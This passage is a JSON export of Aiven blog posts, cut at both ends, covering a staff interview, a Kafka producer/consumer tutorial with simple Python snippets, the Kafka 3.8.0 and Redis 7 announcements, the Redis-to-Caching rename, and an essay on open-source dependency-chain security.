can bring?\n","categories":[{"_key":"ecde468750da","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"7dc633a36c48","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"5464d0c76e3f","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-97b374e5e01e3bc2a75078da6cbb03b10a832296-1200x628-jpg","_type":"reference"}},"publishedAt":"2024-09-25T08:48:00.000Z","related":[{"_key":"f4ba7c98d037","_ref":"570e4d76-e2c9-43c4-92bb-043f7d4b29dc","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"AI-generated content ownership raises intellectual property questions, especially in software development. Find out more in the Aiven blog! ","metaTitle":"Navigating the Creative Commons"},"slug":{"_type":"slug","current":"/blog/navigating-the-creative-commons-ai-ownership-and-software-development"},"subtitle":"The debate surrounding AI-generated content ownership has raged since the technology's inception. Despite significant advancements, the question of creative rights remains unresolved. This is particularly problematic in software development, where AI's influence can often be subtle and overlooked. To fully grasp the implications, it's essential to delve into the complex landscape of intellectual property and licensing.\n","title":"Navigating the Creative Commons: AI, Ownership, and Software Development"} {"__i18n_lang":"en","_createdAt":"2023-10-04T06:42:07Z","_id":"76e20acf-16a0-494f-8632-622f1d945ed5","_rev":"h4ancfFTuSnQNBSq3Ixgc0","_type":"post","_updatedAt":"2024-11-19T09:58:44Z","authors":[{"_key":"e70aff5c9f18","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"Discover what we can offer engineers like Holger, plus the many different ways you can progress. And find out how our tech experts are helping us to shape an exciting future for everyone.\n\n### Please tell us a bit about yourself.\n\nI’ve been with Aiven for around a year and a half now. I started my career in software development in the 80s on the Sinclair ZX Spectrum. I then moved into Frontend, Perl, C# and Java before switching to engineering management, working for companies such as eBay and OneFootball.\n\nMy pivotal moment was experiencing how DevOps, CI/CD, and agile XP completely transformed the productivity and culture of a whole company. That’s why my ethos now is to help teams deliver great, fully functioning software that customers actually use.\n\n### How would you define your role at Aiven?\n \nI joined Aiven because I saw the gigantic breadth of talent working here and the great business model, together with the focus on open source and engineering. Plus Crab Week and the social shell-ebrations, of course!\n\nAs VP Engineering in Product, I have the honor to lead the engineers and managers in product development. We build the platform and products that the company sells and operates. I’m based in Berlin, although my favorite city when I was younger was Prague.\n\n### How would you describe the key aspects of our engineering culture and our guiding values?\n\nGreat question! Contribution to the code base is at the heart of it. Not just quantity but quality – the ability to create value for our customers. Reliability and security are key – we want customers to know that their data and their wider business are safe with us.\n\nIn addition, we are always looking to improve our operational awareness, task automation, and end-to-end ownership of teams for product streams.\n\n### How do these values translate into hiring?\n\nWe’re building products for other engineers, so we need to solve problems that other developers cannot. Anyone who wants to join us therefore has to meet very high standards. It’s why you will find a lot of passionate engineers at Aiven, along with managers who support their teams and are really driven by customer satisfaction. \n\nThe unique rooting in open source means our Open Source Program Office (OSPO) team is first-class – and not just within our company. A colleague recently helped drive a big OSS project as a consequence of his work at Aiven. \n\n### Can you describe some recent projects?\n\nThere’s always a lot going on. Every employee – and customer – can contribute, thanks to our approach and because our roadmap is public – see https://ideas.aiven.io/\n\nI’m currently really excited about Pgvector (vector search in Postgres), which lets customers effectively build up AI applications. \n\nIn the event-streaming ecosystem, we are focusing on tiered storage and are planning to run Apache Kafka® without Apache Zookeeper™. This is tremendously interesting from a performance and operations point of view. A big change recently was the introduction of free tiers for many products, which required a lot of changes in the web console and backend. \n\nBut what really makes me happy are the ongoing improvements regarding internal developer experience, such as better tooling, faster test automation and greater observability. \n\n### How do these projects contribute to the company's overall mission and growth?\n\nWe want to be the trusted open-source data platform for everyone, so it should be as easy as possible for engineers to find out about us and explore our services. Free tiers and credits for new customers help with that. \n\nWe are growing alongside our customers and are always learning how to serve them best. That’s whether it’s a single engineer project, start-up, scale-up, or large enterprise. Innovative features like tiered storage, ZooKeeper-less Kafka, Pgvector, and the OpenSearch® Security plugin unlock new capabilities for existing and new customers. \n\n### Tell us more about the complex technical or strategic challenges the team has encountered.\n\nCustomer centricity is really important, but sometimes it can become challenging if customers use technology in unintended ways. For example, choosing Kafka as a substitute for a relational database or having one PostgreSQL® instance with thousands of tables. \n\nAgain, reliability is key. Being able to build, test, deploy and operate hundreds of thousands of nodes in production requires continuous work on CI/CD, and on our architecture and practices. Our aim is to always be the first to know if something might become an issue. \n\n### How does Aiven support professional development for our engineering team members?\n\nIn my short time here, I have seen so many engineers progress, and not just via promotion. For example, by changing teams or roles – from engineer to engineering manager, product manager, or site reliability engineer (SRE).\n\nExploring all parts of the Aiven platform is encouraged and can take many forms. Learning a new programming language or technology, for instance, or spreading from Python backend engineer towards kernel or network layers, SRE or becoming “full-stack”, covering web development and backend. I think most colleagues would say they’re always learning.\n\n### What advice would you give to anyone wanting to join the engineering team?\n\nGet to know your team and the code base your team is responsible for and start contributing. Like any good Crab, you should never sit still! Openness is a key value – everyone can read executive team meeting agendas, while most Slack channels are public. It’s part of the culture to allow access to as much information as possible – so take advantage of that. \n\n### Aiven celebrates sideways thinking – in what ways are you a sideways thinker? \n\nI think the depth of commitment to building on open source is an excellent demonstration of this principle. So not just benefiting the company but giving back to communities via our OSPO team. Also our internal Plankton Program, which compensates employees for their free-time contributions to other open source projects. Most so-called forward-thinking companies don’t offer anywhere near what Aiven does – so long live sideways thinking! \n\n### Is there anything in particular you are excited about in Aiven’s future? \n\nYes – lots! I am particularly excited about the next steps in Product - we are exploring how to move from offering single-data technologies to solving customers' broader challenges. We are pushing the boundaries of what’s possible in multi-cloud, including autoscaling, replication, backup, observability and making it even easier to solve customer data use cases. I believe that this will allow a lot of customers to run their innovative applications even more effectively.\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n","categories":[{"_key":"68421a1b6213","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"},{"_key":"70292ce480dd","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"13258ebadca0","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-8af50976043526ba5898315292d65ae09f9a6122-1567x844-png","_type":"reference"}},"publishedAt":"2023-10-04T07:08:00.000Z","seo":{"_type":"metaData","metaDescription":"Planning a tech career move? Holger Hammel, VP Engineering in Product at Aiven, gives practical tips and valuable insights to help you find the right path."},"slug":{"_type":"slug","current":"/blog/holger-hammel-why-moving-sideways-is-the-way-forward"},"subtitle":"If you’re planning your next career move in tech, check out this interview with our VP Engineering in Product. It will be sure to point you in the right direction!","title":"Holger Hammel – why moving sideways is the way forward"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6xbjYN3okA8TEf7gQ51txP","_rev":"h4ancfFTuSnQNBSq3JBS9E","_type":"post","_updatedAt":"2024-11-19T10:58:07Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"In our previous post [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka), we introduced Apache Kafka, where we examined the rationale behind the pub-sub subscription model. In another, we [examined](https://aiven.io/blog/how-are-your-microservices-talking) some scenarios where loosely coupled components, like some of those in a microservices architecture (MSA), could be well served with the asynchronous communication that Apache Kafka provides.\n\n\u003e [Apache Kafka](https://kafka.apache.org/) is a distributed, partitioned, replicated commit log service. It provides all of the functionality of a messaging system, with a distinctive design.\n\nIn this blog, we’ll look at the Pub/Sub model and examine why it’s an excellent choice for asynchronous communication and loose coupling of components. Then, we’ll set up an Aiven Kafka instance, implement a producer and a consumer, and finally run it all together.\n\n## The Pub/Sub model - producers and consumers\n\n![Kafka schematic](https://cdn.sanity.io/images/sczeoy4w/production/f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711.png)\n\n\n__Source: Martin Kleppmann's Kafka Summit 2018 Presentation,__ [Is Kafka a Database?](https://www.youtube.com/watch?v=v2RJQELoM6Y)\n\nAs noted previously, Apache Kafka passes messages via a publish-subscribe model where software components called __producers__ append events to distributed logs called __topics__, which are essentially named, append-only data feeds.\n\n__Consumers__, on the other hand, consume data from these topics by offset (the record number in the topic). When consumers get to decide what they will consume, it is less complicated than it would be with producer-based routing rules.\n\n\u003e In other words, the producer simply appends messages to the topic, and the consumer decides, by offset, which messages to consume from the topic!\n\nThe producer/consumer or _pub-sub_ model serves communication models, e.g. those within MSAs, particularly well when loose coupling between components and asynchronous communication is required. __Why?__\n\nBecause there is no time- or task- dependency between when the producer creates and sends a message and the consumer receives and/or acts on it. In other words, the producer produces messages in its own time — and at its own pace — and the consumer does the same, without worrying about synchronization locks.\n\nOur demo, which we’ll walk through in the following sections, illustrates this.\n\n## Setting up your Aiven Kafka instance\n\nWe’ll start by spinning up an Aiven Kafka service in the cloud. In Aiven’s _Services_ pane, simply create a new Kafka service instance as shown below:\n\n![gif of creating new service in aiven console](https://cdn.sanity.io/images/sczeoy4w/production/0926b289c261c2436467ed76e4c89acfa81b0095-1048x595.gif)\n\n\nFrom the _Connection parameters_ section within the Kafka service’s overview pane, copy the URL (you’ll reference it in your producer and consumer code later on).\n\n![image of service overview pane in aiven console](https://cdn.sanity.io/images/sczeoy4w/production/fb1227930a2190f1861fd20496cc8392151aa696-1041x601.png)\n\nAlso, generate the following files and copy them to the local directory where your producer and consumer files will be created:\n- `ca.pem`\n- `service.cert`\n- `service.key`\n\n![image of keys and certificates in aiven console](https://cdn.sanity.io/images/sczeoy4w/production/7ff0ff99ba2de444bde9991429983bb693a3db44-646x140.png)\n\nFinally, from the Kafka service’s _Topics_ tab, generate a topic called `demo-topic`. This is the topic you’ll be writing to:\n\n![gif of creating a kafka topic in the aiven console](https://cdn.sanity.io/images/sczeoy4w/production/125fe06a3a0b9af31dc87c897b2a0a8074b67e40-1048x595.gif)\n\n## Introducing the ibeacon\nThe ibeacon is a hardware transmitter and a protocol developed by Apple and introduced at the WWDC in 2013. Additional vendors have followed up with beacon systems of their own, following the same protocol. The technology allows other devices such as smartphones, tablets and other devices do certain things when in specified proximity to a given beacon.\n\nThese include actions like determining a device's (and customer’s) physical location, tracking customers, sending targeted ads to customer devices based on where in the retail space the customers are located, and so on. The ibeacon protocol and methods are similar, in function, to those derived from GPS, but more accurate to smaller locations and less battery-intensive.\n\nFor our purposes, we’ll be simulating an ibeacon that sends events with the following fields:\n\n- `uuid`: universally unique identifier for a specific beacon. Ours are 27 chars in length.\n\n- `Major`: value assigned to a specific ibeacon to incrementally fine-tune identification beyond `uuid.Major`corresponds to a specific group of beacons, for example, those located in a specific department or floor.\n\n\u003e Major values are unsigned integers between __0__ and __65535__\n\n- `Measured power`: this is a factory-calibrated, read-only constant which indicates what the expected RSSI is at a distance of one meter to the beacon.\n\n- `rssi`: stands for _Received Signal Strength Indicator_, and indicates the beacon’s signal strength from the point of view of the receiver, for example, customer’s tablet. Combined with measured power, these two settings let you estimate the distance between the device and the beacon.\n\n- `accuracy`: some ibeacon devices also calculate a string for signal accuracy.\n\n- `proximity`: ‘_Near_’, ‘_Immediate_’, ‘_Far_’, and ‘_Distant_’.\n\nFor demo purposes, we’ve made some shortcuts. As we’ve configured it, our producer will produce the events at a pace that’s faster than the consumer consumes them. This is actually OK, as we want to illustrate how Kafka provides some temporary persistence for stored messages that have not yet been delivered.\n\n## Setting up your producer\n\nThe code below should get you started: go [here](https://gist.github.com/Jammink2/d190644ad9593159bcb7e7b083935aa7) to view the whole code block.\n\n~~~\nfor i in range(iterator):\n #slow down / throttle produce calls somewhat for demo\n sleep(1)\n # get values\n uuid = str(generate_uuid(length=27))\n major = str(generate_major(length=5))\n measured_power = str(generate_measuredPower())\n rssi = str(generate_rssi())\n accuracy_substring = str(generate_accuracy_substring(length=16))\n proximity_choice = str(choose_proximity())\n\n message = \"message number \" + str(i) + \" uuid: \" + uuid + \" major: \" + \" measured_power: \" + measured_power + \" rssi: \" + rssi + \" accuracy_substring: \" + accuracy_substring + \" proximity_choice: \" + proximity_choice\n\n print(\"Sending: {}\".format(message))\n producer.send(\"demo-topic\", message.encode(\"utf-8\"))\n producer.flush()\n~~~\n\nThis code simulates an ibeacon - it sets up and calculates the kind of fields that your ibeacon is likely to send, packs the fields into a message, and sends the message along as a Kafka producer message. For the sake of simplicity, we’ve avoided JSON handling for now. Rinse, lather, repeat.\n\nWe’ve added a short sleep between message iterations so that you can actually see the messages go by on the console as they are produced.\n## Setting up your consumer\nThe code below should get you started: go [here](https://gist.github.com/Jammink2/d9599f0c20586b5d0bfbb23f6bc2e622) to view the whole code block.\n~~~\nwhile True:\n raw_msgs = consumer.poll(timeout_ms=100000)\n for tp, msgs in raw_msgs.items():\n for msg in msgs:\n print(\"Received: {}\".format(msg.value))\n~~~\n## Running it all together\nOpen two command prompts, set to your current directory.\n\n- In one, enter: `$ python ibeacon_producer.py 500000`\n\nIn fact, you can set the tail value to anything you want, but setting it to a higher value simply ensures that the producer will run continuously, and the consumer, to be run on the next step, doesn’t immediately time out.\n\n- In the second command prompt, enter: `$ python ibeacon_consumer.py`\n\nNow you should have the producer and consumer running side by side, as follows:\n\n![gif of kafka producer](https://cdn.sanity.io/images/sczeoy4w/production/711b9ae842fded681b4a98664fc936ad677c99bb-1247x1349.gif)\n\nIn this example, we have the producer writing to the log faster than the consumer is reading it (it’s built into the scripts, also). This was done so intentionally, using `sleep` commands in each, to illustrate that the consumer need not be tightly coupled to the producer and can consume events — the ones it chooses — at its own pace.\n\n## Wrapping up\n\nWe’ve reviewed the producer-consumer (or pub/sub) communication model and looked at why it may be quite useful for systems that require asynchronous communication between components.\n\nThen, we’ve set up an Aiven Kafka Instance, implemented a producer and a consumer, and then run the lot together. Our consumer ingests messages slower than our producer writes them, thus demonstrating how Kafka can serve as a _temporary_ persistence store for messages that have yet to be read.\n\nWe’ve also demonstrated how easy Aiven Kafka is to set up and use. [Aiven Kafka](https://aiven.io/kafka) is a fully-managed, high-throughput messaging system with built-in monitoring, enabling you to decouple your services, simplify your development and focus on development.\n\nBy choosing Aiven to manage and host your cloud Kafka clusters, you get the benefits of Kafka without the risk and opportunity costs associated with it. There’s no risk with our 30-day trial. Try [us out](https://console.aiven.io/signup) or [contact us](https://aiven.io/about#about-contact) today!","categories":[{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405-png","_type":"reference"}},"publishedAt":"2019-05-07T00:00:00.000Z","seo":{"metaDescription":"Aiven for Apache Kafka® simplifies data streaming for seamless integration and enhanced performance. Find out more in our blog and optimize your workflows!","metaImage":{"alt":"","asset":{"_ref":"image-9a3754ef1c8f1051cf4a179dbca1d8cd457e64df-752x405-png","_type":"reference"}},"metaTitle":"Data streaming made easy with Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/data-streaming-made-simple-with-apache-kafka"},"subtitle":"Data streaming made easy with Apache Kafka®","title":"Data streaming made easy with Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2024-08-02T16:58:34Z","_id":"9124781f-65ff-40ca-a474-fad2e252df20","_rev":"sEwq5NBiPauorOxrhj5ktK","_type":"post","_updatedAt":"2024-11-19T11:41:48Z","authors":[{"_key":"76607a90f0e6","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"As a release manager for this version, I want to personally thank all users and the team of 200+ contributors for the release of Apache Kafka® 3.8.0. This was truly a community effort to bring new features and improvements to an open source streaming platform used by thousands of organizations worldwide.\n\nThis release contains many new features and improvements, including fixes and improvements from 456 JIRA tickets, so the team has been quite busy. An overview of the release can be found in the Apache Kafka's announcement [blog post](https://kafka.apache.org/blog#apache_kafka_380_release_announcement). For a full list of changes, be sure to check the [release notes](https://www.apache.org/dist/kafka/3.8.0/RELEASE_NOTES.html). The Kafka documentation includes a section on [Upgrading to 3.8.0 from any version 0.8.x through 3.7.x](https://kafka.apache.org/documentation.html#upgrade_3_8_0) to guide you through the notable changes and the upgrade process. I encourage you to check out each of these fantastic resources. .\n\n## Aiven’s contribution to Apache Kafka and open source software\nApache Kafka is an open source, data streaming platform designed to handle large-scale, real-time data streams. It was originally developed by LinkedIn and later donated to the Apache Software Foundation in 2011. It is one of Apache’s most popular projects, and is the de facto standard for data streaming. Kafka is highly scalable and fault tolerant, providing a durable platform for streaming data with extremely low latency. More than 80% of Fortune 100 companies trust and use Apache Kafka.\n\nIn addition to its versatility, Apache Kafka is open source and has a committed, savvy community behind it. With Aiven’s focus on open source and taking the pain out of managing it, we saw the value of Apache Kafka early on and were the first to offer managed Apache Kafka in the cloud. \n\nAt Aiven, we live the values of open source software (OSS) sustainability through our [Open Source Program Office](https://aiven.io/open-source). Specifically, Aiven has a dedicated team working on open source Apache Kafka full time: This unique approach sets us apart from many other companies where contributors are forced to juggle between product and OSS.\n\nRemember, using open source software is free, but the work that goes into maintaining it does not just magically happen. You can check the projects we maintain at [Aiven’s projects on GitHub](https://github.com/aiven-open). We welcome contributions to all our projects. \n\nWe are committed to building out our [data and AI platform](https://aiven.io/platform) and [Aiven for Apache Kafka](https://aiven.io/kafka) capabilities to make it easier and faster for you to deploy widely adopted technologies across multiple clouds with just a few clicks to stream, store, and serve your data.","categories":[{"_key":"4d60ea91c4f5","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-68b2094b33901f10a67db847930b1532c1db8de3-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-02T17:42:50.885Z","related":[{"_key":"c03940764f09","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"966ead2ba31c","_ref":"005ef164-918b-4dbb-962f-a3063bc4f8e5","_type":"reference"},{"_key":"dad5ff2e4dc8","_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka 3.8.0 is here! Discover new features and improvements to an open source streaming platform used by thousands of organizations worldwide."},"slug":{"_type":"slug","current":"/blog/apache-kafka-380-released"},"subtitle":"The Apache Kafka community is pleased to announce the release of Apache Kafka® 3.8.0.","title":"Apache Kafka 3.8.0 Released"} {"__i18n_lang":"en","_createdAt":"2022-10-04T07:56:51Z","_id":"6tQ87KyXntDC9CWlwPKf3h","_rev":"h4ancfFTuSnQNBSq3JDABg","_type":"post","_updatedAt":"2024-11-19T11:08:22Z","authors":[{"_key":"LvoXSx2wcnnIY178tIEa3","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"Redis® 7.0 introduces improvements to almost every aspect of the popular open source database. Here’s some of the most notable new features:\n\n- Enhanced scripting with Redis Functions\n- Improved access control management with ACLv2\n- The addition of almost 50 new commands \n\nAt the same time, a lot of effort has gone into making Redis even more performant and stable than before.\n\n__Redis Functions__ brings a new solution for scripting in Redis, allowing users to load custom function libraries to Redis. Unlike earlier ephemeral scripts using the EVAl command, which left management of the scripts to the applications, Redis now manages functions as an integral part of the database and ensures their availability through data persistence and replication. \n\n__ACLv2__ adds two important new capabilities for access control lists, while maintaining compatibility with earlier versions:\n\n- ACLv2 adds support for multiple sets of ACL rules - called selectors - that are evaluated independently.\n- ACLv2 allows you to set access type permissions to specific keys, making it possible to to exclusively limit the user to read-only, write-only, or read-write operations to a subset of the keys.\n\nPlease note that ACLv2 is not yet available in Aiven for Caching, but we are working on it and expect to release the functionality soon.\n\nRedis version 7.0 adds almost __50 new commands__ and options to support the evolution of Redis, and to extend its existing capabilities. And the following data types, just for example, all have added functionality that supports their use cases for data management:\n\n- bitmap\n- list\n- set\n- sorted set\n- stream\n\n### How to get started with Aiven for Caching 7\n\nIf you already use Aiven for Caching, you can upgrade as you see fit. Otherwise, your service will be upgraded in specific cases - like if you change your current plan or the replacement of a node upon failure.\n\nIf you’re not using Aiven for Caching yet, maybe you should be! Go ahead and read more about Redis in our Introduction to Redis, or [visit our Aiven for Caching page](https://aiven.io/caching \"Aiven for Caching\") to get started.","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-07T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Redis® 7.0 introduces improvements to almost every aspect of the popular open source database. Discover the most notable new features in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-56071535c9fd0b4e57c7c1dbe02599527c9e0f8f-1567x844-png","_type":"reference"}},"metaTitle":"Redis® 7 available on the Aiven platform | Read more!"},"slug":{"_type":"slug","current":"/blog/redis-7-is-here"},"subtitle":"The best Redis® ever - version 7.0 - is now available on the Aiven platform.","title":"Redis® 7 is here"} {"__i18n_lang":"en","_createdAt":"2024-05-08T14:50:55Z","_id":"ab689ad8-7a84-427f-b8ae-6f9656c8c9bf","_rev":"sEwq5NBiPauorOxrhj4Eie","_type":"post","_updatedAt":"2024-11-19T11:31:01Z","authors":[{"_key":"824ff42d1ea0","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"**Update: As of May 28, 2024, this name change has been implemented**\n\n\nIn March, a new licensing model was announced for Redis®*, which will impact the Aiven for Redis®* service. From May 1st onwards, Redis® releases up to and including Redis 7.2 will continue to be covered by the existing three-clause Berkeley Software Distribution (BSD) license. Future versions of Redis, beginning with version 7.4, will be released under [new dual source-available licenses](https://redis.io/blog/redis-adopts-dual-source-available-licensing/).\n\nThere are *no immediate changes* to existing Aiven for Redis®* services or any of their functionality. To comply with Redis's copyright and license agreements going forward, however, we will be changing the name of **Aiven for Redis®** services to **Aiven for Caching**.\n\n## What's changing (and what isn't)\n\nThe most important thing to note about the forthcoming name change is that **current customers do not need to take any immediate action**. At this time, the service itself, any associated API endpoints, CLI calls or other functionality associated with creating or using an Aiven for Redis®* service will not change.\n\nSo what will be changing?\n\nIn accordance with the updated [Redis Trademark Policy](https://redis.io/legal/trademark-policy/), we'll be updating all references to Aiven for Redis®* on aiven.io web pages and the Aiven console to Aiven for Caching. The service itself will remain compatible with legacy Redis® OSS, and we will continue to provide updates until early 2025.\n\n## The future of in-memory databases at Aiven\n\nWhile there's more than a year before the Redis® 7.2 EOL, you might rightly ask, \"what happens after that?\" We're pleased to report that Aiven will continue to provide options for customers looking for the best in-memory NoSQL databases. \n\nWe recently launched [Aiven for Dragonfly](https://aiven.io/dragonfly), which uses the same underlying Redis Serialization Protocol (RESP) and is fully compatible with legacy Redis® OSS. It also provides exceptional performance and scalability improvements. You can read more about [the Aiven for Dragonfly launch](https://aiven.io/blog/aiven-for-dragonfly-unleash-super-fast-caching) and dig into [key features and use cases](https://aiven.io/blog/what-is-dragonfly) on the Aiven blog.\n\nThat said, Aiven for Dragonfly isn't for everyone. For customers looking to implement more modest use cases, or with a strong preference for solutions backed by open source technology, we've got you covered. The [Linux Foundation recently launched Valkey](https://www.linuxfoundation.org/press/valkey-community-announces-release-candidate-amid-growing-support-for-open-source-data-store), an open-source Redis® alternative released under the three-clause BSD license. [Aiven is proud to be an early supporter of the project](https://twitter.com/aiven_io/status/1780284720359641103), and we intend to incorporate Valkey into our platform in the near future.\n\n\\* *Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven.*\n\n\n## Further reading\n\n - [Caching with Aiven for Redis® and Express.js](https://aiven.io/blog/caching-with-nodejs-express-and-redis)","categories":[{"_key":"36156a9811a0","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"a97a05f5deac","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven for Redis will soon become Aiven for Caching","asset":{"_ref":"image-e0b0ec04ba6fe90cc11b845e0ef8beaba56fca9a-1200x628-png","_type":"reference"}},"publishedAt":"2024-05-08T16:30:33.633Z","related":[{"_key":"c7007a14a0bb","_ref":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_type":"reference"},{"_key":"c89c2884542e","_ref":"45bbd63f-c7e8-4335-b72d-b661d24e06b8","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Redis® is now Aiven for Caching! Visit our blog to find out what is different and how these changes might affect your data workflows."},"slug":{"_type":"slug","current":"/blog/aiven-for-redis-becomes-aiven-for-caching"},"subtitle":"Aiven for Caching is a new name for the same NoSQL service you know and love.","title":"Aiven for Redis®* has become Aiven for Caching"} {"__i18n_lang":"en","_createdAt":"2024-05-27T13:17:23Z","_id":"be9d3aa4-b2e9-47ca-a2c4-4b6cdc6f1945","_rev":"T130WEs22RB6SoEkOC6Ziy","_type":"post","_updatedAt":"2024-11-19T11:43:10Z","authors":[{"_key":"c3bea653bbf3","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Open-source software (OSS) has become the backbone of modern software development, empowering developers with a vast ecosystem of freely available libraries, frameworks and tools. However, as the old saying goes, ‘there's no such thing as a free lunch’, and the over reliance on OS components introduces significant security risks that can compromise the entire software supply chain.\n\n## A can that can be kicked down the road\n\nLet’s talk about what’s referred to in the OSS community as the dependency chain. This is the interconnected network of software on which applications rely on to function. In modern development where engineers routinely accelerate the build by reusing existing code, it’s common for projects to depend on third-party libraries, open source or not, and custom internal packages with each addition lengthening the chain. And of course, a dependency can also have dependencies of its own.\n\nLittle wonder, then, that keeping track of one’s dependency chain can be complicated and therefore not something many businesses prioritize. Understanding the detail behind them is not mission-critical to enterprises laser-focussed on revenue or growth while, at the other end of the spectrum, start-ups and early-stage companies are interested in speed to market — often taking out technical debt in order to get there. For many in between, it’s simply a can that can be kicked down the road.\n\nThat is, until it becomes an issue, which it undoubtedly will because every link in the chain represents a potential threat window. The longer and more complicated the chain, the greater the risk of vulnerabilities or weaknesses that attackers can exploit.\n\n## The potential risk pitfalls ahead\n\nThe fact is that many companies do not know what they’re running in production. This needs to change because, until it does, businesses are not only exposed from a security point of view, but they have no idea where or how great the potential impact.As example of the possible pitfalls, the UK [Home Office ](https://engineering.homeoffice.gov.uk/standards/managing-security-software-dependencies/) recently published guidance on how to manage software dependencies while the risk of poorly managed software dependencies is regularly included in the Open Worldwide Application Security Project’s (OWASP) ‘[top 10 security applications risks](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/)’.\n\nWe don’t need to look back far for evidence of the damage a compromised dependency chain can do. Earlier this year, a lone Microsoft developer rocked the world when he revealed a backdoor had been intentionally planted in [XZ Utils](https://www.bleepingcomputer.com/news/security/red-hat-warns-of-backdoor-in-xz-tools-used-by-most-linux-distros/), an OSS data compression utility available on almost all installations of Linux. The malicious code was injecting itself during the build process hidden way below the surface of what businesses are traditionally concerned with and granted unauthorized access to execute commands on affected machines.\n\n\n## Mitigating damage in dependency\n\nThe more essential the tool that can be hijacked, the higher the chance it has to reach production environments. This is why businesses must adopt a best-practice approach to improving security, which can be done in two, simple steps.\n\n1). Know your dependency chain - businesses have to know what they are dealing with and this means keeping a software bill of materials (SBOM)\n2). Check it is up to date - Once they have it, businesses must check if the libraries they are using are the right and up-to-date versions. This sounds complicated and tedious given the nuanced and often minor amends that are made to software programmes but there are tools on the market that can do this quickly and easily. The [OSS review toolkit](https://github.com/oss-review-toolkit/ort) analyzes a business SBOM and highlights vulnerabilities or changes automatically. \n\nBeyond this, OSS projects already use many strategies to safeguard security. These include validation — where developers use the community to check for vulnerabilities or deficiencies in software before it’s released to the general public. Bounty programs are also one of the most effective ways to keep open source projects secure. This is where researchers are offered a financial incentive for finding issues and ways to exploit them, fixing software bugs or implementing minor features. It’s a program Aiven uses to find vulnerabilities in our own software as well as in the upstream libraries we use.\n\n## Improvements to regulation\n\nIn parallel with these strategies, we’re also seeing new regulation that will support improvements to securing dependency chains. The [Cyber Resilience Act](https://digital-strategy.ec.europa.eu/en/library/cyber-resilience-act) (CRA) in the EU is a good starting point. However, each member state needs to now create a bill that is compliant with the framework that has been set and it needs due diligence on the OS community within each country covering areas like; ownership, liability and documentation. It cannot — must not — be created by politicians and businesses several steps removed from the reality of on-the-ground activity. The US is also working on similar regulations.\n\nAt an individual-level, companies within OSS work incredibly hard on securing their dependency chain, RedHat being a good example. It has people working full time working at upstream projects like the Linux kernel, to improve it and at the same time check for security vulnerabilities. At the other end of the spectrum, hyperscalers are investing heavily in OSS projects and, in doing so, imbuing stringent security measures in production. Beyond this, there are also the companies in the security space providing, sometimes paid, sometimes open source tools, on scanning, vulnerability reporting and threat detection — all of which is relieving the burden of manual work at a developer-level. \n\n## Secure the chain from top to 